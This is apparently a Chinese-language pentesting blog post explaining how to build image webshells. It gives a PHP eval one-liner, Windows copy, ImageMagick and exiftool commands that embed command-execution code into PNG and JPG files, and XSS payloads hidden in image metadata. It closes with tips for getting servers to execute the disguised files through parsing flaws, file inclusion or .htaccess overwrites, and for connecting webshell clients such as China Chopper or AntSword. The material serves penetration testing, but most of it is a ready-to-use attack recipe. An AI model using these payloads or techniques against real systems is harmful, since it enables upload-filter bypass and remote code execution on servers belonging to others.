制作图片Webshell的方法
ssooking Lv5

工具

  • 一张正常图片:pic.png
  • 一句话Webshell:1.php

一句话Webshell内容以下面的代码为例:

1
<?php @eval($_POST[1]);?>

通用方法

使用十六进制编辑器直接把一句话Webshell代码粘贴到图片尾部,一定要用十六进制编辑器。

记事本右键打开图片,直接在末尾写入一句话Webshell。这种方式也能制作,但是这种方式会破坏图片的正常显示,并且制作的图片Webshell在使用过程中会有一些问题,菜刀能连但是经常会报错,不建议采用这种方法。

Windows

1
copy /b pic.png + 1.php /a shell.png

Linux/Mac

convert命令可以对图像的格式和大小等进行转换,该功能由ImageMagick提供

1
2
3
4
5
# 安装convert命令
sudo apt-get install imagemagick
brew install imagemagick

apt-get install exiftool
1
2
3
4
convert -size 100x100 -comment '<?php eval($_GET["cmd"]); ?>' rgba:/dev/urandom[0] shell.png

为一个图片生成图片马
exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"

类似XSS图片

1
2
3
convert xss.png -set 'Copyright' '/><script>alert(1);</script>' -set 'Title' '/><script>alert(2);</script>' -set comment '/><script>alert(3);</script>' xssout.png

弹框顺序:3,1,2

https://www.pentestpartners.com/security-blog/from-png-text-to-persistent-xss/

https://www.freebuf.com/articles/web/167843.html

注意事项

1.图片Webshell的使用,关键是服务器要把图片文件解析成脚本去执行,不能直接使用菜刀等工具连。常用方式:

  • 利用文件解析漏洞
    • 使最终上传的文件是php文件
    • 使用特殊字符使文件解析成php执行
  • 用文件包含页面包含执行图片Webshell
  • 覆盖重写服务器配置文件:.htaccess

2.如果菜刀无法正常连接图片Webshell,可以多试几个不同版本的菜刀,或者试试其他工具如蚁剑。

  • Post title:制作图片Webshell的方法
  • Post author:ssooking
  • Create time:2019-12-04 09:25:00
  • Post link:https://ssooking.github.io/2019/12/制作图片webshell的方法/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.